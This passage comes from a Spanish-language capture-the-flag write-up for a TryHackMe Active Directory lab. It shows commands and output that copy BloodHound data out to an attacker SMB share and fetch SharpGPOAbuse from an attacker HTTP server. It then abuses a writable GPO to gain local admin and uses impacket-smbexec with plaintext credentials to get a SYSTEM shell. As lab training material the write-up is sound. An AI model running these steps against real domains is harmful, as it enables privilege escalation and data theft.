Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
De vuelta a la mçaquina víctima, nos conectamos a este recurso compartido pasando las credenciales que hemos definido anteriormente:
PS C:\Users\enterprise-security\Downloads> net use x: \\10.14.104.16\smbFolder /user:gunzf0x gunzf0x123
The command completed successfully.
Podemos revisar si esto ha funcionado utilizando el comando dir
al recurso compartido y así ver los recursos dentro de éste:
PS C:\Users\enterprise-security\Downloads> dir x:\
Directory: x:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/25/2025 8:26 AM 170 PurgeIrrelevantData_1826.ps1
Funcionó dado que podemos ver su contenido.
Pasamos de esta manera el archivo .zip
desde la máquina víctima a la carpeta compartida (que no es más que nuestra máquina de atacantes):
PS C:\Users\enterprise-security\Downloads> copy 20250625101202_BloodHound.zip x:\20250625101202_BloodHound.zip
Y, finalmente, borramos la conexión:
PS C:\Users\enterprise-security\Downloads> net use x: /delete /y
x: was deleted successfully.
Aquí no entraré en detalles de cómo instalar y utilizar Bloodhound
, dado que no es el enfoque del WriteUp y es algo extenso. Sin embargo, podemos seguir los pasos de este blog para instalarlo. Esencialmente, ejecutamos Bloodhound
sobre un container de Docker
.
En mi caso, utilizo la Community Edition
, o CE
, de Bloodhound
. Esto porque hace algunos meses salió esta versión nueva y ahora existe tanto la versión Legacy
como la versión Community Edition
.
Subimos así el .zip
descargado a BloodHound
. Cuando se hayan cargado los datos, buscamos por nuestro usuario, clickeamos en él y luego clickeamos en Outbound Object Control
al lado derecho. Podemos así ver:
Tenemos el permiso GenericWrite
sobre el GPO
llamado security-pol-vn
, tal cual habíamos visto con PowerView.ps1
.
La ventaja aquí es que el mapeo sí muestra los objetos “linkeados” a la GPO
(a qué usuarios y grupos afecta); podemos ver así que afecta a todo el dominio. Por ejemplo, en la pestaña de Pathfinding
, buscamos cómo llegar desde el usuario enterprise-security
hasta el grupo Administrators
:
Por ende, el plan es simple: como el usuario enterprise-security
, usamos la GPO
para agregarnos a nosotros mismos (usuario enterprise-security
) al grupo Administrators
en la máquina actual.
Para este propósito podemos usar la herramienta SharpGPOAbuse
(la cual puede ser descargada desde este repositorio o este repositorio como un binario “pre-compilado”; de lo contrario hay que ir al repositorio oficial de SharpGPOAbuse y compilar un binario por nuestra propia cuenta). Como ya es usual, iniciamos un servidor web mediante un servidor HTTP
con Python
por el puerto 8000
en nuestra máquina de atacantes. En la máquina víctima, descargamos el binario de SharpGPOAbuse
utilizando PowerShell
:
PS C:\Users\enterprise-security\Downloads> iwr -uri http://10.14.104.16:8000/SharpGPOAbuse.exe -o .\sharpgpoabuse.exe
Finalmente, ejecutamos el binario descargado de SharpGPOAbuse
para agregar un usuario al que tengamos acceso, como puede ser enterprise-security
, al grupo Administrators
:
PS C:\Users\enterprise-security\Downloads> ./sharpgpoabuse.exe --AddLocalAdmin --UserAccount enterprise-security --GPOName "security-pol-vn"
[+] Domain = vulnnet.local
[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local
[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local
[+] SID Value of enterprise-security = S-1-5-21-1405206085-1650434706-76331420-1103
[+] GUID of "security-pol-vn" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] File exists: \\vulnnet.local\SysVol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] The GPO does not specify any group memberships.
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
Un detalle de las GPOs
es que éstas se aplican cada, aproximadamente, 90 minutos. Por lo que podríamos esperar 90 minutos y esperar hasta que se realicen los cambios… o podríamos tratar de “forzar” a que se actualicen las GPOs
mediante el comando gpupdate
:
PS C:\Users\enterprise-security\Downloads> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
GPOs
. Para ejecutar el comando anterior usualmente se requieren ciertos privilegios.Ya que aparentemente se ha actualizado el GPO
, esto debería de haber ejecutado la acción maliciosa anclada éste. Podemos ver así que el usuario enterprise-security
es ahora parte del grupo de Administradores:
PS C:\Users\enterprise-security\Downloads> net user enterprise-security
User name enterprise-security
Full Name Enterprise Security
Comment TryHackMe
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/23/2021 4:01:37 PM
Password expires Never
Password changeable 2/24/2021 4:01:37 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/25/2025 10:33:17 AM
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *Domain Users
The command completed successfully.
Somos parte del grupo Administrators
(Administradores).
Por tanto, dado que ahora somos un usuario privilegiado en sl sistema, podemos utilizar una herramienta como smbexec.py
de la suite de Impacket
usando las credenciales del usuario privilegiado para obtener una shell como el usuario nt authority/system
en la máquina víctima:
❯ impacket-smbexec vulnnet.local/enterprise-security:'sand_0873959498'@10.10.203.36
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
GG. Podemos extraer la flag system.txt
en el Desktop del usuario Administrator
.
~Happy Hacking.